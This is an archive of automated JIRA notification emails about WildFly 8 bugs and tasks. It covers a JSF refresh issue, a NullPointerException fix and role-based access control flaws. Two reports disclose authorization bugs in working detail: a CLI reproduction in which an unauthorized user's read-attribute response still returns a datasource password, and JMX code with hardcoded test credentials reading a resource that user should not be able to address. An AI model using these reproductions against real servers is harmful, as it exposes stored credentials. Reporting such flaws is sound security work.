Message-ID: <JIRA.12499779.1378159247948.4833.1378159323324@jira02.app.mwc.hst.phx2.redhat.com>

Frank Langelage created WFLY-1981:
-------------------------------------

             Summary: JSF component disappears on refresh using a4j:poll
                 Key: WFLY-1981
                 URL: https://issues.jboss.org/browse/WFLY-1981
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Beta1
            Reporter: Frank Langelage
            Assignee: Stuart Douglas


On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
This does not work with WildFly build from current sources.
Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
I'll attach a small project showing the problem.
The mojarra datatable works fine, is refreshed every 10 seconds.
The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 18:07:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 18:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.4838.1378159623886@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800981#comment-12800981 ] 

Tomaz Cerar commented on WFLY-1981:
-----------------------------------

It also could be issue with newer JSF/Mojarra that WF uses.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stuart Douglas
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 18:07:04 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 2 Sep 2013 18:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.4843.1378159624046@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-1981:
------------------------------

    Component/s: JSF

    
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stuart Douglas
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 18:09:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Mon, 2 Sep 2013 18:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.4847.1378159743340@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Frank Langelage updated WFLY-1981:
----------------------------------

    Attachment: xaa
                xab
                xac
                Jira-WFLY-UT.tar


As file size including war-file was 10.25 MB had to split it.
Execute "cat xa* > target.tar" to unsplit.
The tar file contains the sources only.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stuart Douglas
>         Attachments: Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 23:33:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 2 Sep 2013 23:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1982) NPE in ModelControllerLock
In-Reply-To: <JIRA.12499783.1378179088670@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499783.1378179088670@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499783.1378179088670.4896.1378179183463@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-1982:
--------------------------------------

             Summary: NPE in ModelControllerLock
                 Key: WFLY-1982
                 URL: https://issues.jboss.org/browse/WFLY-1982
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Emanuel Muckenhuber
             Fix For: 8.0.0.CR1


Just noticed this in the host-controller.log while looking into a non-progressing RespawnTestCase:

22:23:50,552 ERROR [org.jboss.as.controller.management-operation] (proxy-threads - 1) JBAS014612: Operation ("register-server") failed - address: ([]): java.lang.NullPointerException
	at org.jboss.as.controller.ModelControllerLock$Sync.tryAcquire(ModelControllerLock.java:75) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireInterruptibly(AbstractQueuedSynchronizer.java:1220) [rt.jar:1.7.0_15]
	at org.jboss.as.controller.ModelControllerLock.lockInterruptibly(ModelControllerLock.java:48) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.acquireLock(ModelControllerImpl.java:582) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.OperationContextImpl.takeWriteLock(OperationContextImpl.java:403) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.OperationContextImpl.acquireControllerLock(OperationContextImpl.java:700) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.host.controller.mgmt.ServerToHostProtocolHandler$ServerReconnectRequestHandler$1$1.execute(ServerToHostProtocolHandler.java:268)
	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractControllerService.internalExecute(AbstractControllerService.java:292) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.host.controller.DomainModelControllerService.access$600(DomainModelControllerService.java:148)
	at org.jboss.as.host.controller.DomainModelControllerService$InternalExecutor.execute(DomainModelControllerService.java:899)
	at org.jboss.as.host.controller.mgmt.ServerToHostProtocolHandler$ServerReconnectRequestHandler$1.execute(ServerToHostProtocolHandler.java:282)
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_15]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_15]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_15]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 23:38:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 2 Sep 2013 23:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1982) NPE in ModelControllerLock
In-Reply-To: <JIRA.12499783.1378179088000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499783.1378179088000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499783.1378179088000.4899.1378179483440@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1982?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800989#comment-12800989 ] 

Brian Stansberry commented on WFLY-1982:
----------------------------------------

Offending line:
} else if (permitHolder.get().equals(permit)) {

In tryRelease there's

permitHolder.compareAndSet(value, null);

so permitHolder.get() can return null, at least in theory.

A simple fix is to change the offending line to

} else if (Integer.valueOf(permit).equals(permitHolder.get())) {

But I haven't looked carefully enough to know whether permitHolder.get() returning null there is for some reason an unexpected state.
                
> NPE in ModelControllerLock
> --------------------------
>
>                 Key: WFLY-1982
>                 URL: https://issues.jboss.org/browse/WFLY-1982
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.CR1
>
>
> Just noticed this in the host-controller.log while looking into a non-progressing RespawnTestCase:
> 22:23:50,552 ERROR [org.jboss.as.controller.management-operation] (proxy-threads - 1) JBAS014612: Operation ("register-server") failed - address: ([]): java.lang.NullPointerException
> 	at org.jboss.as.controller.ModelControllerLock$Sync.tryAcquire(ModelControllerLock.java:75) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireInterruptibly(AbstractQueuedSynchronizer.java:1220) [rt.jar:1.7.0_15]
> 	at org.jboss.as.controller.ModelControllerLock.lockInterruptibly(ModelControllerLock.java:48) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.acquireLock(ModelControllerImpl.java:582) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.OperationContextImpl.takeWriteLock(OperationContextImpl.java:403) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.OperationContextImpl.acquireControllerLock(OperationContextImpl.java:700) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.host.controller.mgmt.ServerToHostProtocolHandler$ServerReconnectRequestHandler$1$1.execute(ServerToHostProtocolHandler.java:268)
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService.internalExecute(AbstractControllerService.java:292) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.host.controller.DomainModelControllerService.access$600(DomainModelControllerService.java:148)
> 	at org.jboss.as.host.controller.DomainModelControllerService$InternalExecutor.execute(DomainModelControllerService.java:899)
> 	at org.jboss.as.host.controller.mgmt.ServerToHostProtocolHandler$ServerReconnectRequestHandler$1.execute(ServerToHostProtocolHandler.java:282)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_15]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_15]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_15]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 23:57:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 23:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1865) NPE might occur when a null
 object is returned from the aesh Console
In-Reply-To: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498425.1376320265000.4908.1378180623597@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1865?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800991#comment-12800991 ] 

RH Bugzilla Integration commented on WFLY-1865:
-----------------------------------------------

Chao Wang <chaowan at redhat.com> made a comment on [bug 996164|https://bugzilla.redhat.com/show_bug.cgi?id=996164]

relevant EAP 6.x PR : https://github.com/jbossas/jboss-eap/pull/302
                
> NPE might occur when a null object is returned from the aesh Console
> --------------------------------------------------------------------
>
>                 Key: WFLY-1865
>                 URL: https://issues.jboss.org/browse/WFLY-1865
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: St?le Pedersen
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Beta1
>
>
> In cli/src/main/java/org/jboss/as/cli/impl/Console.java
> 177	 	 -                        return console.read(prompt).getBuffer();
> 178	 +                        ConsoleOutput output = console.read(prompt);
> 179	 +                        return output != null ? output.getBuffer() : null;

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 03:05:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Tue, 3 Sep 2013 03:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1983) MBeans for unaddressable
 resources available through JMX
In-Reply-To: <JIRA.12499789.1378191889742@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499789.1378191889742@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499789.1378191889742.5014.1378191903345@jira02.app.mwc.hst.phx2.redhat.com>

Jakub Cechacek created WFLY-1983:
------------------------------------

             Summary: MBeans for unaddressable resources available through JMX
                 Key: WFLY-1983
                 URL: https://issues.jboss.org/browse/WFLY-1983
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Jakub Cechacek
            Assignee: Kabir Khan


MBeans for resources which are unaddressable for authenticated user still has its corresponding MBeans registered - e.g. security-realm=ManagementRealm

{code}
Map<String, String[]> env = new HashMap<String, String[]>();
String[] credentials = {"monitor", "asd1asd!"};
env.put(JMXConnector.CREDENTIALS, credentials);

JMXServiceURL url = new JMXServiceURL("service:jmx:remoting-jmx://localhost:9999");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url, env);
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();

ObjectName mgmtRealm = new ObjectName("jboss.as:core-service=management,security-realm=ManagementRealm");
MBeanInfo info = mBeanServerConnection.getMBeanInfo(mgmtRealm);
System.out.println(info.getClassName());

>>> org.jboss.as.controller.ModelController
{code}




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:20:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Tue, 3 Sep 2013 03:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763423@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763423@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763423.5022.1378192803481@jira02.app.mwc.hst.phx2.redhat.com>

Jakub Cechacek created WFLY-1984:
------------------------------------

             Summary: MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
                 Key: WFLY-1984
                 URL: https://issues.jboss.org/browse/WFLY-1984
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Jakub Cechacek
            Assignee: Kabir Khan


According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 

Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 

[1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:20:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 3 Sep 2013 03:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.5027.1378192803750@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas reassigned WFLY-1981:
------------------------------------

    Assignee: Stan Silvert  (was: Stuart Douglas)


Stan, can you have a look at this? I think it is much more likely to be related to the JSF upgrade, rather than Undertow.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:24:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 3 Sep 2013 03:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-524) JSR-318 Interceptors 1.2
	support
In-Reply-To: <JIRA.12485405.1361488132000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485405.1361488132000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485405.1361488132000.5040.1378193043824@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-524?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-524.
---------------------------------

    Resolution: Done


Barring any bugs this should be all done. Most of the required changes are from Weld, and were handled by Jozef.
                
> JSR-318 Interceptors 1.2 support
> --------------------------------
>
>                 Key: WFLY-524
>                 URL: https://issues.jboss.org/browse/WFLY-524
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: EE
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> Update to Interceptors 1.2 compliance as per Java EE 7 specification.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:26:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 3 Sep 2013 03:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1708) Per-deployment web thread
	pools
In-Reply-To: <JIRA.12496647.1374034453000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496647.1374034453000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496647.1374034453000.5045.1378193163558@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1708?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-1708.
----------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done

    
> Per-deployment web thread pools
> -------------------------------
>
>                 Key: WFLY-1708
>                 URL: https://issues.jboss.org/browse/WFLY-1708
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: James Livingston
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> It would be nice if you could limit the number of worker threads being used by an application, and one way of achieving that would be to add a per-deployment thread pool for handing web requests.
> This can be done currently by configuring one <connector> per application and giving each one it's own thread pool.
> Undertow supports (from cursory inspection) DeploymentInfo.setExecutor/setAsyncExecutor() which configured the Executor to use for requests. The subsystem could read a thread pool configuration from jboss-web.xml and pass the resulting executor into those two methods to make setting this up easier and not require a load balancer.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:41:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Tue, 3 Sep 2013 03:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1985) read-attribute operation is
 leaking value when user is not authorized to read that attribute
In-Reply-To: <JIRA.12499794.1378194012203@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499794.1378194012203@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499794.1378194012203.5078.1378194063368@jira02.app.mwc.hst.phx2.redhat.com>

Jakub Cechacek created WFLY-1985:
------------------------------------

             Summary: read-attribute operation is leaking value when user is not authorized to read that attribute
                 Key: WFLY-1985
                 URL: https://issues.jboss.org/browse/WFLY-1985
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Jakub Cechacek
            Assignee: Brian Stansberry
            Priority: Critical


This is affecting native interface and consequently CLI - HTTP and JMX have the correct behavior as they aren't simply forwarding the result of native interface. 

{code}
[standalone at localhost:9990 /] :whoami(verbose=true)
{
    "outcome" => "success",
    "result" => {"identity" => {
        "username" => "monitor",
        "realm" => "ManagementRealm"
    }}
}
[standalone at localhost:9990 /] /subsystem=datasources/data-source=ExampleDS:read-attribute(name=password)
{
    "outcome" => "failed",
    "result" => "sa",
    "failure-description" => "JBAS013456: Unauthorized to execute operation 'read-attribute' for resource '[
    (\"subsystem\" => \"datasources\"),
    (\"data-source\" => \"ExampleDS\")
]' -- \"Permission denied\"",
    "rolled-back" => true
}
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 03:55:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Tue, 3 Sep 2013 03:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1986) Review exceptions thrown for
 authorization cases in JMX
In-Reply-To: <JIRA.12499796.1378194827273@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499796.1378194827273@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499796.1378194827273.5106.1378194903952@jira02.app.mwc.hst.phx2.redhat.com>

Jakub Cechacek created WFLY-1986:
------------------------------------

             Summary: Review exceptions thrown for authorization cases in JMX
                 Key: WFLY-1986
                 URL: https://issues.jboss.org/browse/WFLY-1986
             Project: WildFly
          Issue Type: Sub-task
            Reporter: Jakub Cechacek
            Assignee: Kabir Khan


It should be reconsidered which exception to use for RBAC authorization cases in JMX. 

For example "AttributeNotFoundException" doesn't make much sense when attribute exists but user is missing permissions for write. In this case I would use its superclass "OperationsException" instead. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 04:22:03 2013
From: jira-events at lists.jboss.org (Chao Wang (JIRA))
Date: Tue, 3 Sep 2013 04:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1987) Upgrade jboss-threads to
	2.1.1.Final
In-Reply-To: <JIRA.12499798.1378196409655@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499798.1378196409655@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499798.1378196409655.5186.1378196523351@jira02.app.mwc.hst.phx2.redhat.com>

Chao Wang created WFLY-1987:
-------------------------------

             Summary: Upgrade jboss-threads to 2.1.1.Final
                 Key: WFLY-1987
                 URL: https://issues.jboss.org/browse/WFLY-1987
             Project: WildFly
          Issue Type: Component  Upgrade
    Affects Versions: 8.0.0.Alpha4
